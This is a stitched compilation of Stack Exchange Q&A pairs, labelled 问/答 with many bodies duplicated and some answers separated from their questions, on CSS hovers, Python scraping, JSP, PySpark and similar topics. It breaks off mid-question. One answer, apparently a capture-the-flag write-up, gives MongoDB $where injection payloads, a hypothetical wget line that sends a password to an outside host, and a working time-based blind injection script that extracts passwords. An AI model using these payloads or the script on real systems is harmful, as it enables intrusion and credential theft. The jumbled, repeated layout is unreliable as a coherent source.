答:
add 1px border with red color to all images on hover

img:hover {
  border:1px solid #C04848;
}```
<pre class="snippet-code-html lang-html prettyprint-override"><code><img src="https://unsplash.it/300/200"></code>```

Title: How to have border color change on image hover/mousover?

Body:
I know how to add a border to images, but how do I change the color of the border on image hover/mouseover, I would like to to this to multiple images on the same page, so far I have failed to find a plugin that does this.

I spent like 5 hours looking for a plugin to do this, feel my pain!!!

Basically, I want an image to do what a button does. When user hovers the mouse over the button the color of the border changes.

Body:
add 1px border with red color to all images on hover

img:hover {
  border:1px solid #C04848;
}

<img src="https://unsplash.it/300/200">


来源: stackexchange

问:
Billboard Hot 100 scraping issue
I've been practicing scraping on Python (I'm a total newbie), and I was having this scraping issue. I was trying to scrape the song listings from the Billboard Hot 100, and the result was less than what I needed.

Here's the code. As you can see, I am storing the songs in a dictionary and then printing them.
    from lxml import html
    import requests
    page = requests.get('http://www.billboard.com/charts/hot-100')
    tree = html.fromstring(page.content)
    billboard = {}

```<code>for x in range(1, 51):

currSongY = '//*[@id="main"]/div[2]/div/div[1]/article[' + str(x) + ']/div[1]/div[4]/div[3]/div/h2/text()'
currArtistY = '//*[@id="main"]/div[2]/div/div[1]/article[' + str(x) + ']/div[1]/div[4]/div[3]/div/a/text()'

currSongX = tree.xpath(currSongY)
currArtistX = tree.xpath(currArtistY)

if currArtistX == '[]' and currSongX == '[]':
    currSongY = '//*[@id="main"]/div[2]/div/div[1]/article[' + str(x) + ']/div[1]/div[3]/div[3]/div/h2/text()'
    currArtistY = '//*[@id="main"]/div[2]/div/div[1]/article[' + str(x) + ']/div[1]/div[3]/div[3]/div/a/text()'
    currSongX = tree.xpath(currSongY)
    currArtistX = tree.xpath(currArtistY)

    if currArtistX == '[]' and currSongX == '[]':
        currSongY = '//*[@id="main"]/div[2]/div/div[1]/article[' + str(x) + ']/div[1]/div[2]/div[3]/div/h2/text()'
        currArtistY = '//*[@id="main"]/div[2]/div/div[1]/article[' + str(x) + ']/div[1]/div[2]/div[3]/div/a/text()'
        currSongX = tree.xpath(currSongY)
        currArtistX = tree.xpath(currArtistY)

currSong = str(currSongX)[2:(len(str(currSongX))-2)]
#currArtist = str(currArtistX)[4:(len(str(currArtistX))-4)]
currArtist = str(currArtistX).replace("\\n","")
billboard[x] = (currSong, currArtist)

print (billboard)
</code>```

Here's the result:

```
> {1: ('Despacito', "['Luis Fonsi & Daddy Yankee Featuring Justin Bieber']"), 2: ('', '[]'), 3: ('', '[]'), 4: ('', '[]'), 5: ('', '[]'), 6: ('', '[]'), 7: ('', '[]'), 8: ('', '[]'), 9: ('', '[]'), 10: ('', '[]'), 11: ('', '[]'), 12: ('', '[]'), 13: ('', '[]'), 14: ('', '[]'), 15: ('', '[]'), 16: ('', '[]'), 17: ('', '[]'), 18: ('', '[]'), 19: ('', '[]'), 20: ('', '[]'), 21: ('', '[]'), 22: ('', '[]'), 23: ('Bad Liar', "['Selena Gomez']"), 24: ('', '[]'), 25: ('', '[]'), 26: ('', '[]'), 27: ('', '[]'), 28: ('', '[]'), 29: ('', '[]'), 30: ('', '[]'), 31: ('', '[]'), 32: ('', '[]'), 33: ('', '[]'), 34: ('', '[]'), 35: ('', '[]'), 36: ('', '[]'), 37: ('Everyday We Lit', "['YFN Lucci Featuring PnB Rock']"), 38: ('', '[]'), 39: ('', '[]'), 40: ('', '[]'), 41: ('', '[]'), 42: ('', '[]'), 43: ('', '[]'), 44: ('', '[]'), 45: ('', '[]'), 46: ('', '[]'), 47: ('', '[]'), 48: ('', '[]'), 49: ('', '[]'), 50: ('', '[]')}
>>>
```

Please help por favor!!!!!

答:
It's best to let a parser do some of the work for you when navigating through the HTML; generate a tree of elements and look for tags and attributes in the tree.

The following code works for me for the billboard 100:

```<code>from lxml import etree
from io import StringIO
import requests

page = requests.get('http://www.billboard.com/charts/hot-100')
html = etree.HTML(page.content)

parser = etree.HTMLParser()
tree = etree.parse(StringIO(unicode(etree.tostring(html))), parser)
root = tree.getroot()

billboard = []
for article in root.iter('article'):
    if ('data-songtitle' in article.attrib):
        currSong = article.attrib['data-songtitle']
        for item in article.iter('a'):
            if (('class' in item.attrib) and (item.attrib['class'] == 'chart-row__artist')):
                currArtist = item.text
                billboard.append((currSong.strip(), currArtist.strip()))
                break

for entry in billboard:
    print entry
</code>```

Hope this helps.

ContentLicense: CC BY-SA 3.0

Title: Billboard Hot 100 scraping issue

Body:
I've been practicing scraping on Python (I'm a total newbie), and I was having this scraping issue. I was trying to scrape the song listings from the Billboard Hot 100, and the result was less than what I needed.

Here's the code. As you can see, I am storing the songs in a dictionary and then printing them.
    from lxml import html
    import requests
    page = requests.get('http://www.billboard.com/charts/hot-100')
    tree = html.fromstring(page.content)
    billboard = {}

for x in range(1, 51):

currSongY = '//*[@id="main"]/div[2]/div/div[1]/article[' + str(x) + ']/div[1]/div[4]/div[3]/div/h2/text()'
currArtistY = '//*[@id="main"]/div[2]/div/div[1]/article[' + str(x) + ']/div[1]/div[4]/div[3]/div/a/text()'

currSongX = tree.xpath(currSongY)
currArtistX = tree.xpath(currArtistY)

if currArtistX == '[]' and currSongX == '[]':
    currSongY = '//*[@id="main"]/div[2]/div/div[1]/article[' + str(x) + ']/div[1]/div[3]/div[3]/div/h2/text()'
    currArtistY = '//*[@id="main"]/div[2]/div/div[1]/article[' + str(x) + ']/div[1]/div[3]/div[3]/div/a/text()'
    currSongX = tree.xpath(currSongY)
    currArtistX = tree.xpath(currArtistY)

    if currArtistX == '[]' and currSongX == '[]':
        currSongY = '//*[@id="main"]/div[2]/div/div[1]/article[' + str(x) + ']/div[1]/div[2]/div[3]/div/h2/text()'
        currArtistY = '//*[@id="main"]/div[2]/div/div[1]/article[' + str(x) + ']/div[1]/div[2]/div[3]/div/a/text()'
        currSongX = tree.xpath(currSongY)
        currArtistX = tree.xpath(currArtistY)

currSong = str(currSongX)[2:(len(str(currSongX))-2)]
#currArtist = str(currArtistX)[4:(len(str(currArtistX))-4)]
currArtist = str(currArtistX).replace("\\n","")
billboard[x] = (currSong, currArtist)

print (billboard)

Here's the result:

> {1: ('Despacito', "['Luis Fonsi & Daddy Yankee Featuring Justin Bieber']"), 2: ('', '[]'), 3: ('', '[]'), 4: ('', '[]'), 5: ('', '[]'), 6: ('', '[]'), 7: ('', '[]'), 8: ('', '[]'), 9: ('', '[]'), 10: ('', '[]'), 11: ('', '[]'), 12: ('', '[]'), 13: ('', '[]'), 14: ('', '[]'), 15: ('', '[]'), 16: ('', '[]'), 17: ('', '[]'), 18: ('', '[]'), 19: ('', '[]'), 20: ('', '[]'), 21: ('', '[]'), 22: ('', '[]'), 23: ('Bad Liar', "['Selena Gomez']"), 24: ('', '[]'), 25: ('', '[]'), 26: ('', '[]'), 27: ('', '[]'), 28: ('', '[]'), 29: ('', '[]'), 30: ('', '[]'), 31: ('', '[]'), 32: ('', '[]'), 33: ('', '[]'), 34: ('', '[]'), 35: ('', '[]'), 36: ('', '[]'), 37: ('Everyday We Lit', "['YFN Lucci Featuring PnB Rock']"), 38: ('', '[]'), 39: ('', '[]'), 40: ('', '[]'), 41: ('', '[]'), 42: ('', '[]'), 43: ('', '[]'), 44: ('', '[]'), 45: ('', '[]'), 46: ('', '[]'), 47: ('', '[]'), 48: ('', '[]'), 49: ('', '[]'), 50: ('', '[]')}
>>>

Please help por favor!!!!!

Body:
It's best to let a parser do some of the work for you when navigating through the HTML; generate a tree of elements and look for tags and attributes in the tree.

The following code works for me for the billboard 100:

from lxml import etree
from io import StringIO
import requests

page = requests.get('http://www.billboard.com/charts/hot-100')
html = etree.HTML(page.content)

parser = etree.HTMLParser()
tree = etree.parse(StringIO(unicode(etree.tostring(html))), parser)
root = tree.getroot()

billboard = []
for article in root.iter('article'):
    if ('data-songtitle' in article.attrib):
        currSong = article.attrib['data-songtitle']
        for item in article.iter('a'):
            if (('class' in item.attrib) and (item.attrib['class'] == 'chart-row__artist')):
                currArtist = item.text
                billboard.append((currSong.strip(), currArtist.strip()))
                break

for entry in billboard:
    print entry

Hope this helps.


问:
How i can Do dynamic checkboxes for java jsp?
i need to do six checkboxes for one image , and this image need to change if one or more checkboxes is cheked , how i can do it? please help me , i attach my code.

        <meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
        <title>JSP Page</title>

        <form name="form1" onsubmit="checkBoxValidation()">

<input type="checkbox" name="chbdiente1" value="1"/>Vestibular

<input type="checkbox" name="chbdiente1" value="2"/>Mesial

<input type="checkbox" name="chbdiente1" value="3"/>Oclusal

<input type="checkbox" name="chbdiente1" value="4"/>Distal

<input type="checkbox" name="chbdiente1" value="5"/>Palatino

<input type="checkbox" name="chbdiente1" value="6"/>Lingual

<input type="submit" value="submit"/>
        </form>
        <%String chbdiente1[] = request.getParameterValues("chbdiente1");
            if (chbdiente1 != null) {%>

<%for (int i = 0; i < chbdiente1.length; i++) {%>

<%=chbdiente1[i]%>
<%}%>

<%}%>

```

i have this code and send me the value of selected checkboxes , but the image not change. help please. thanks

答:
If you want to change the image after click of checkboxes you need to call changeImage1() into onchange or onclick method of checkbox.

Example:

```<code><script>
    $('document').ready(function(){
       $('input[type="checkbox"]').click(function(){
           changeImage1();
       });

    });

    function changeImage1() {
           var image = document.getElementById('diente1');
           image.src = "img/fotodiente/1.1.jpg";
    }
</script>
</code>```

Body:
i need to do six checkboxes for one image , and this image need to change if one or more checkboxes is cheked , how i can do it? please help me , i attach my code.

        <meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
        <title>JSP Page</title>

        <form name="form1" onsubmit="checkBoxValidation()">

<input type="checkbox" name="chbdiente1" value="1"/>Vestibular

<input type="checkbox" name="chbdiente1" value="2"/>Mesial

<input type="checkbox" name="chbdiente1" value="3"/>Oclusal

<input type="checkbox" name="chbdiente1" value="4"/>Distal

<input type="checkbox" name="chbdiente1" value="5"/>Palatino

<input type="checkbox" name="chbdiente1" value="6"/>Lingual

<input type="submit" value="submit"/>
        </form>
        <%String chbdiente1[] = request.getParameterValues("chbdiente1");
            if (chbdiente1 != null) {%>

<%for (int i = 0; i < chbdiente1.length; i++) {%>

<%=chbdiente1[i]%>
<%}%>

<%}%>

i have this code and send me the value of selected checkboxes , but the image not change. help please. thanks

Body:
If you want to change the image after click of checkboxes you need to call changeImage1() into onchange or onclick method of checkbox.

Example:

<script>
    $('document').ready(function(){
       $('input[type="checkbox"]').click(function(){
           changeImage1();
       });

    });

    function changeImage1() {
           var image = document.getElementById('diente1');
           image.src = "img/fotodiente/1.1.jpg";
    }
</script>


问:
How to have border color change on image hover/mousover?
I know how to add a border to images, but how do I change the color of the border on image hover/mouseover, I would like to to this to multiple images on the same page, so far I have failed to find a plugin that does this.

I spent like 5 hours looking for a plugin to do this, feel my pain!!!

Basically, I want an image to do what a button does. When user hovers the mouse over the button the color of the border changes.

答:
Try

```<code><style>
  img:hover {
     border: 1px solid black;
  }
</style>
</code>```

You can perform the same using pseudo class hover in css

Let me know if you require any further help

Body:
Try

<style>
  img:hover {
     border: 1px solid black;
  }
</style>

You can perform the same using pseudo class hover in css

Let me know if you require any further help


问:
Getting and removing a part of a string by first and last occurance of character
I have a string like this:

```<code>{something:something}Some data will be here
</code>```

Heres how its setup:

```<code>{username:password}data
</code>```

How can I get the {username:password} part and remove it from the full string? I need to check the username and password then send the data (everything after {something:something}) to the user.

Preferably I would like to get the username:password without the {} so I can just split by :

答:
```<code> public int IndexOfNth(string str, string value, int nth)
        {
            int offset = str.IndexOf(value);
            for (int i = 0; i < nth; i++)
            {
                if (offset == -1) return -1;
                offset = str.IndexOf(value, offset + 1);
            }
            return offset;
        }
</code>```

this method returns the index of the value you want to find ex)@ fron the str and of the nth position ex)2 will return the 3rd occurance of @ in chris@so@sk@

this can be used to substring Strings

maybe this will work:

```<code>string x= "{username:password}data";
string username = x.substring(1,IndexoOfNth(x,":",0)-1);
</code>```

Body:
I have a string like this:

{something:something}Some data will be here

Heres how its setup:

{username:password}data

How can I get the {username:password} part and remove it from the full string? I need to check the username and password then send the data (everything after {something:something}) to the user.

Preferably I would like to get the username:password without the {} so I can just split by :

Body:
 public int IndexOfNth(string str, string value, int nth)
        {
            int offset = str.IndexOf(value);
            for (int i = 0; i < nth; i++)
            {
                if (offset == -1) return -1;
                offset = str.IndexOf(value, offset + 1);
            }
            return offset;
        }

this method returns the index of the value you want to find ex)@ fron the str and of the nth position ex)2 will return the 3rd occurance of @ in chris@so@sk@

this can be used to substring Strings

maybe this will work:

string x= "{username:password}data";
string username = x.substring(1,IndexoOfNth(x,":",0)-1);


问:
WHM Getting Error - Sudomain Module (API)
This is the error I get when creating a subdomain via cpanel API
https://imgur.com/a/Yhpkh

Kindly help.

答:
Please check the link bellow, it might provide the answer you are looking for:
https://forums.cpanel.net/threads/add-subdomain-using-api.119609/</p>


答:
Use the :hover pseudoclass.

```<code>img
{
  border: 10px solid yellow;
}

img:hover
{
  border-color:red;
}
</code>```

JSfiddle

Body:
Use the :hover pseudoclass.

img
{
  border: 10px solid yellow;
}

img:hover
{
  border-color:red;
}

JSfiddle


问:
Java FileDialog selecting directories: Mac OSX only?
I read that via

```<code>System.setProperty("apple.awt.fileDialogForDirectories", "true");
</code>```

users can select directories via a FileDialog, now the FileDialog evoces the native file chooser, so that is exactly what i want but in the line above it reads: apple.awt..., does this mean this option will only work on Mac OSX?

```<code>if(no) {
    great
} else {
    what can i do to implement this on other operating systems than?
}
</code>```

Thanks for any help!

PS: I know a lot of people suggest the use of a JFileChooser, but in this case i'd very much prefer the FileDialog, except if that's impossible

答:
It is exactly as you feared.
AWT used native libs underneath. OSX has the feature to look for directories only, windows does not.
So youre only change is to use a dialog not based on AWT, i.e. Swing or SWT.

You can define an interface with platform specifc implementations. This gives a good looking dialog on OSX and something that works on other platforms. That's what I do.

ContentLicense: CC BY-SA 2.5

Body:
I read that via

System.setProperty("apple.awt.fileDialogForDirectories", "true");

users can select directories via a FileDialog, now the FileDialog evoces the native file chooser, so that is exactly what i want but in the line above it reads: apple.awt..., does this mean this option will only work on Mac OSX?

if(no) {
    great
} else {
    what can i do to implement this on other operating systems than?
}

Thanks for any help!

PS: I know a lot of people suggest the use of a JFileChooser, but in this case i'd very much prefer the FileDialog, except if that's impossible


答:
Try this:-

```<code>.image_class:hover{ border:1px solid #0f0; }
</code>```

here image_class is class on your img tag

Body:
Try this:-

.image_class:hover{ border:1px solid #0f0; }

here image_class is class on your img tag


问:
How to redirect user back to my app when doing Auth0/Google federated SSO logout?
Context:

I am implementing a Single-Page-Application using Auth0's implementation of OpenID Connect Single Sign-On with Google as my identity provider.

Browser is Chrome v59

auth0.logout() below refers to the auth0-js library which is included in my app as a dependency of the auth0-lock library.  My webpack config is pinning auth0-lock to v10.18.0.

Problem:

When logging out, if the user doesn't want to be logged out of their Google sign-in session, I execute this code:

```<code>auth0js.logout({
  returnTo: "http://localhost:8080"
});
</code>```

This works fine, logs the user out of their Auth0 sign-in session, redirects the browser to localhost and the Google sign-in is left intact (user can re-authenticate with my app using Google creds without having to enter login details).

If the user explicitly indicates they also want to be logged out of their Google sign-in session as well, I execute this code:

```<code>auth0js.logout({
  returnTo: "http://localhost:8080",
  federated: true
});
</code>```

The "sign out" part of this works, the user will be logged out of both the Auth0 and Google sign-in sessions.  But the browser ends up being redirected to the Google account page (where google will ask them for their credentials, since they were signed out of their Google session).

Question:

Can anyone provide an idea on how I can force the Google-logout flow redirect back to my app instead of the Google account page?  Or is this something that Google is doing on purpose (i.e. there is no way to get Google federated sign-out to redirect to my app)?

答: Unfortunately, the returnTo URL available for some connection types is not available for Google social connections.</p>

Body:
Context:

I am implementing a Single-Page-Application using Auth0's implementation of OpenID Connect Single Sign-On with Google as my identity provider.

Browser is Chrome v59

auth0.logout() below refers to the auth0-js library which is included in my app as a dependency of the auth0-lock library.  My webpack config is pinning auth0-lock to v10.18.0.

Problem:

When logging out, if the user doesn't want to be logged out of their Google sign-in session, I execute this code:

auth0js.logout({
  returnTo: "http://localhost:8080"
});

This works fine, logs the user out of their Auth0 sign-in session, redirects the browser to localhost and the Google sign-in is left intact (user can re-authenticate with my app using Google creds without having to enter login details).

If the user explicitly indicates they also want to be logged out of their Google sign-in session as well, I execute this code:

auth0js.logout({
  returnTo: "http://localhost:8080",
  federated: true
});

The "sign out" part of this works, the user will be logged out of both the Auth0 and Google sign-in sessions.  But the browser ends up being redirected to the Google account page (where google will ask them for their credentials, since they were signed out of their Google session).

Question:

Can anyone provide an idea on how I can force the Google-logout flow redirect back to my app instead of the Google account page?  Or is this something that Google is doing on purpose (i.e. there is no way to get Google federated sign-out to redirect to my app)?


问:
Which hook should be used to run a cron job in prestashop?
I am making a prestashop module in which I need to run cron job after every 20 minutes. I didn't find any hook for that. All I found is "Cron task manager" module but I don't want to use a module for that.</p>

答:
There is nothing like this in the Prestashop Core and module, but anyway, things can be simply done :

Call a function in module constructor, so it will be executed each time

```<code>$this->mySuperCron();
</code>```

Then store a time and just check time before executing your request :

```<code>private function mySuperCron() {
     $check_time = strtotime('now - 20 minutes');

     if ( (int) Configuration::get('MYSUPERMODULETIMER') < (int) $check_time ) {
       // Make your cron here by either calling functions here or do it with file_get_contents / curl or echo an ajax which will be executed in backoffice
       Configuration::updateValue('MYSUPERMODULETIMER', (int) $check_time);
     }

}
</code>```

Body:
There is nothing like this in the Prestashop Core and module, but anyway, things can be simply done :

Call a function in module constructor, so it will be executed each time

$this->mySuperCron();

Then store a time and just check time before executing your request :

private function mySuperCron() {
     $check_time = strtotime('now - 20 minutes');

     if ( (int) Configuration::get('MYSUPERMODULETIMER') < (int) $check_time ) {
       // Make your cron here by either calling functions here or do it with file_get_contents / curl or echo an ajax which will be executed in backoffice
       Configuration::updateValue('MYSUPERMODULETIMER', (int) $check_time);
     }

}


问:
blind mongodb serverside injection?
I have a mongodb query like this:

```<code>$cur = $db->users->findOne(array('$where' => "this.username == '$username'"));
</code>```

And then i check for password security like this:

```<code>if($cur == NULL) { // Login not successful
    $errors[] = "Invalid user.";
  } else if($cur['password'] != $password) { // Login not successful
    $errors[] = "Invalid password.";
  } else { // Login successful
    $user = $cur;
  }
</code>```

I was thinking if its vulnerable to server-side javascript injection if using GET to receive the value of $username.

I've researched a bit and found that it is possible using something like this:

```<code>?username=admin';tojsononeline(this.password) OR
?username=admin’;[injected code]var foo=’bar
</code>```

Is there someway to get the value of the password using injection code put inside username GET parameter?

答:
I know this is 8 months late, but in the hopes that I may help fellow hackers out, I'm going to go ahead and answer it.

First, I'd like to say I know exactly what you (were) working on, and it was a fun challenge. I'm experienced with classic SQL injections, but I haven't had any exposure to NoSQL until playing around with these challenges.

Your answer is blind SQL injection. Er....blind NoSQL injection. If you don't know about these, please go research a bit before I spoil the fun for you.

With a standard SQL injection, you'd be able to insert/update/drop/select/etc. on whatever you were injecting into, and be able to see some kind of database error or result. It would be spit out in the page, and you'd be a happy hacker.

With a blind SQL injection, you don't get that luxury. Sure, you may be able to select more records than intended, but you don't get the actual results returned to you. This is what's going on in your particular issue. The data isn't displayed in the page, but it is used for some login logic.

So, how could we go about determining what the password is? Short answer: you can't.

BUT, if we get tricky with our queries, we may be able to use a side channel to get what we want. For instance, in your second example, you say you can inject some code and that gets run in the MongoDB connection. (once again, I don't know the proper terminology here) Well, what sorts of code? All legal JavaScript? Nifty. What kind of JavaScript stuff is available to the MongoDB instance?

When I first figured out I could run valid JS in this challenge, I thought "maybe there's a remote command execution with MongoDB's 'run' function..." Unfortunately, I wasn't able to do that. If I had been able to do that, I could maybe do a run('wget', 'http://example.com:1337/'+this.password), which should make a simple get request with the resource being the password that I wanted to extract. But for whatever reason (you know, making sure hackers can't actually break the game) I wasn't able to do that.

So I can run code, but I can't just make a simple call out and get the password. Damn. What can I do?

Well I can use the 'this.password' variable just like any other. I can't actually make extra connections though. Perhaps I could query that variable in pieces and do something noticeable based on the value of those pieces.

I trust you've read about blind SQL injections by now. If you haven't, please go read that so you can understand what I'm talking about and don't cheat yourself of the fun. ;)

With a blind SQL injection, you're able to ask boolean questions. For instance, you could say "if the first character of the password is 'a', then do something.' Sometimes you can get a "yes" or a "no" printed on the page that you're attacking, but don't bet on that. When you can't, you usually can get the server to take a different amount of time to reply. In our case, JavaScript has a builtin sleep function. Our side channel is response time.

So, the first thing I decided to do was find out the length of the password. Luckily, all JavaScript strings are objects, and they have a length property. So something like....

```<code>if(this.password.length==1){sleep(10000);}
</code>```

...will make the site take forever to respond, as long as that condition is true. (Hint: it ain't one character long) This was a great indicator.

Once I figured out the length, I made a wild assumption based on that length. It's not too much of a leap, and it worked, so I don't think it was that far of a jump to make. Anyway, it's 32 characters long....what other things are 32 characters long? Hashes. This must be some kind of a hash that I'm pulling, not some easy to guess password, like pokemon or whatever. (NOTE: The code presented in the question doesn't hash the input value first, it simply uses whatever the user supplied. The challenge creator doesn't actually hash passwords [he stores them in plain text], but just used some random hash in order to make it a hard to guess -- and poorly stored -- password.)

And so, with that in mind, that allowed me to narrow my character set down a lot. Instead of trying all 255 ASCII values for each byte of the 32 character password, I was able to just try and guess [a-f0-9], which is a significantly smaller haystack.

So now I would ask questions like...

```<code>if(this.password[0]=="a"){sleep(100000);
</code>```

...and that would tell me if the first character was "a".

Continue in this fashion, and you will have the password within a few minutes. I will say, doing this manually is agonizing. That's why all us hackers should be coders, too.

I know it'll spoil the fun and give away the answer, but I don't think I'm breaking any rules if I give away my code for this. So without further ado, I give you....blind.py:

```<code>#!/usr/bin/env python

from urllib import request as ureq
import socket, time

charset = "abcdef0123456789"
pass_len = 32
answer = ""

url_template = '''http://example.com/?action=login&username=blahblah%27;if(*****QUESTION*****){{sleep(4000);}}%20var%20foo=%27bar&pasword=blahblah'''

while len(answer) < pass_len:
    for c in charset:
        try:
            #print('''Sending: {}'''.format(url_template.format(len(answer), c)))
            ureq.urlopen(url_template.format(len(answer), c), timeout=2)
        except socket.timeout:
            answer += c
            time.sleep(3)
            print('''\033[92m[+]\033[0m Got another char, '\033[31m{}\033[0m'! Current pass: \033[31m{}\033[0m'''.format(c, answer))
            break

print('''\033[92m[!]\033[0m Final answer: \033[31m{}\033[0m'''.format(answer))
</code>```

(Edit: Please know that all that silly '\033[92m' sort of stuff is just terminal escape sequences that allow me to color code the output in your terminal. I just chose colors that looked good on my color scheme. They are not necessary and can be safely removed, provided you don't mess up the template of the string. See python format strings for more information on how the templates work.)

Now, you'll notice you can't just copy and paste this and run it. It won't work. You need to change a couple things (the domain and question). But if you think about it a bit, I've saved you the time of coding an automated script.

Happy hacking.

Related Reading:

https://dl.packetstormsecurity.net/papers/general/timebased-nosql.txt

https://media.blackhat.com/bh-us-11/Sullivan/BH_US_11_Sullivan_Server_Side_WP.pdf

Title: blind mongodb serverside injection?

Body:
I have a mongodb query like this:

$cur = $db->users->findOne(array('$where' => "this.username == '$username'"));

And then i check for password security like this:

if($cur == NULL) { // Login not successful
    $errors[] = "Invalid user.";
  } else if($cur['password'] != $password) { // Login not successful
    $errors[] = "Invalid password.";
  } else { // Login successful
    $user = $cur;
  }

I was thinking if its vulnerable to server-side javascript injection if using GET to receive the value of $username.

I've researched a bit and found that it is possible using something like this:

?username=admin';tojsononeline(this.password) OR
?username=admin’;[injected code]var foo=’bar

Is there someway to get the value of the password using injection code put inside username GET parameter?

Body:
I know this is 8 months late, but in the hopes that I may help fellow hackers out, I'm going to go ahead and answer it.

First, I'd like to say I know exactly what you (were) working on, and it was a fun challenge. I'm experienced with classic SQL injections, but I haven't had any exposure to NoSQL until playing around with these challenges.

Your answer is blind SQL injection. Er....blind NoSQL injection. If you don't know about these, please go research a bit before I spoil the fun for you.

With a standard SQL injection, you'd be able to insert/update/drop/select/etc. on whatever you were injecting into, and be able to see some kind of database error or result. It would be spit out in the page, and you'd be a happy hacker.

With a blind SQL injection, you don't get that luxury. Sure, you may be able to select more records than intended, but you don't get the actual results returned to you. This is what's going on in your particular issue. The data isn't displayed in the page, but it is used for some login logic.

So, how could we go about determining what the password is? Short answer: you can't.

BUT, if we get tricky with our queries, we may be able to use a side channel to get what we want. For instance, in your second example, you say you can inject some code and that gets run in the MongoDB connection. (once again, I don't know the proper terminology here) Well, what sorts of code? All legal JavaScript? Nifty. What kind of JavaScript stuff is available to the MongoDB instance?

When I first figured out I could run valid JS in this challenge, I thought "maybe there's a remote command execution with MongoDB's 'run' function..." Unfortunately, I wasn't able to do that. If I had been able to do that, I could maybe do a run('wget', 'http://example.com:1337/'+this.password), which should make a simple get request with the resource being the password that I wanted to extract. But for whatever reason (you know, making sure hackers can't actually break the game) I wasn't able to do that.

So I can run code, but I can't just make a simple call out and get the password. Damn. What can I do?

Well I can use the 'this.password' variable just like any other. I can't actually make extra connections though. Perhaps I could query that variable in pieces and do something noticeable based on the value of those pieces.

I trust you've read about blind SQL injections by now. If you haven't, please go read that so you can understand what I'm talking about and don't cheat yourself of the fun. ;)

With a blind SQL injection, you're able to ask boolean questions. For instance, you could say "if the first character of the password is 'a', then do something.' Sometimes you can get a "yes" or a "no" printed on the page that you're attacking, but don't bet on that. When you can't, you usually can get the server to take a different amount of time to reply. In our case, JavaScript has a builtin sleep function. Our side channel is response time.

So, the first thing I decided to do was find out the length of the password. Luckily, all JavaScript strings are objects, and they have a length property. So something like....

if(this.password.length==1){sleep(10000);}

...will make the site take forever to respond, as long as that condition is true. (Hint: it ain't one character long) This was a great indicator.

Once I figured out the length, I made a wild assumption based on that length. It's not too much of a leap, and it worked, so I don't think it was that far of a jump to make. Anyway, it's 32 characters long....what other things are 32 characters long? Hashes. This must be some kind of a hash that I'm pulling, not some easy to guess password, like pokemon or whatever. (NOTE: The code presented in the question doesn't hash the input value first, it simply uses whatever the user supplied. The challenge creator doesn't actually hash passwords [he stores them in plain text], but just used some random hash in order to make it a hard to guess -- and poorly stored -- password.)

And so, with that in mind, that allowed me to narrow my character set down a lot. Instead of trying all 255 ASCII values for each byte of the 32 character password, I was able to just try and guess [a-f0-9], which is a significantly smaller haystack.

So now I would ask questions like...

if(this.password[0]=="a"){sleep(100000);

...and that would tell me if the first character was "a".

Continue in this fashion, and you will have the password within a few minutes. I will say, doing this manually is agonizing. That's why all us hackers should be coders, too.

I know it'll spoil the fun and give away the answer, but I don't think I'm breaking any rules if I give away my code for this. So without further ado, I give you....blind.py:

#!/usr/bin/env python

from urllib import request as ureq
import socket, time

charset = "abcdef0123456789"
pass_len = 32
answer = ""

url_template = '''http://example.com/?action=login&username=blahblah%27;if(*****QUESTION*****){{sleep(4000);}}%20var%20foo=%27bar&pasword=blahblah'''

while len(answer) < pass_len:
    for c in charset:
        try:
            #print('''Sending: {}'''.format(url_template.format(len(answer), c)))
            ureq.urlopen(url_template.format(len(answer), c), timeout=2)
        except socket.timeout:
            answer += c
            time.sleep(3)
            print('''\033[92m[+]\033[0m Got another char, '\033[31m{}\033[0m'! Current pass: \033[31m{}\033[0m'''.format(c, answer))
            break

print('''\033[92m[!]\033[0m Final answer: \033[31m{}\033[0m'''.format(answer))

(Edit: Please know that all that silly '\033[92m' sort of stuff is just terminal escape sequences that allow me to color code the output in your terminal. I just chose colors that looked good on my color scheme. They are not necessary and can be safely removed, provided you don't mess up the template of the string. See python format strings for more information on how the templates work.)

Now, you'll notice you can't just copy and paste this and run it. It won't work. You need to change a couple things (the domain and question). But if you think about it a bit, I've saved you the time of coding an automated script.

Happy hacking.

Related Reading:

https://dl.packetstormsecurity.net/papers/general/timebased-nosql.txt

https://media.blackhat.com/bh-us-11/Sullivan/BH_US_11_Sullivan_Server_Side_WP.pdf


问:
getting number of visible nodes in PySpark
I'm running some operations in PySpark, and recently increased the number of nodes in my configuration (which is on Amazon EMR).  However, even though I tripled the number of nodes (from 4 to 12), performance seems not to have changed.  As such, I'd like to see if the new nodes are visible to Spark.

I'm calling the following function:

```<code>sc.defaultParallelism
>>>> 2
</code>```

But I think this is telling me the total number of tasks distributed to each node, not the total number of nodes that Spark can see.

How do I go about seeing the amount of nodes that PySpark is using in my cluster?

答:
I found sometimes my sessions were killed by the remote giving a strange Java error

```<code>Py4JJavaError: An error occurred while calling o349.defaultMinPartitions.
: java.lang.IllegalStateException: Cannot call methods on a stopped SparkContext.
</code>```

I avoided this by the following

```<code>def check_alive(spark_conn):
    """Check if connection is alive. ``True`` if alive, ``False`` if not"""
    try:
        get_java_obj = spark_conn._jsc.sc().getExecutorMemoryStatus()
        return True
    except Exception:
        return False

def get_number_of_executors(spark_conn):
    if not check_alive(spark_conn):
        raise Exception('Unexpected Error: Spark Session has been killed')
    try:
        return spark_conn._jsc.sc().getExecutorMemoryStatus().size()
    except:
        raise Exception('Unknown error')
</code>```

ContentLicense: CC BY-SA 4.0

Body:
I'm running some operations in PySpark, and recently increased the number of nodes in my configuration (which is on Amazon EMR).  However, even though I tripled the number of nodes (from 4 to 12), performance seems not to have changed.  As such, I'd like to see if the new nodes are visible to Spark.

I'm calling the following function:

sc.defaultParallelism
>>>> 2

But I think this is telling me the total number of tasks distributed to each node, not the total number of nodes that Spark can see.

How do I go about seeing the amount of nodes that PySpark is using in my cluster?

Body:
I found sometimes my sessions were killed by the remote giving a strange Java error

Py4JJavaError: An error occurred while calling o349.defaultMinPartitions.
: java.lang.IllegalStateException: Cannot call methods on a stopped SparkContext.

I avoided this by the following

def check_alive(spark_conn):
    """Check if connection is alive. ``True`` if alive, ``False`` if not"""
    try:
        get_java_obj = spark_conn._jsc.sc().getExecutorMemoryStatus()
        return True
    except Exception:
        return False

def get_number_of_executors(spark_conn):
    if not check_alive(spark_conn):
        raise Exception('Unexpected Error: Spark Session has been killed')
    try:
        return spark_conn._jsc.sc().getExecutorMemoryStatus().size()
    except:
        raise Exception('Unknown error')


问:
Autoit MouseClick not successfully clicking
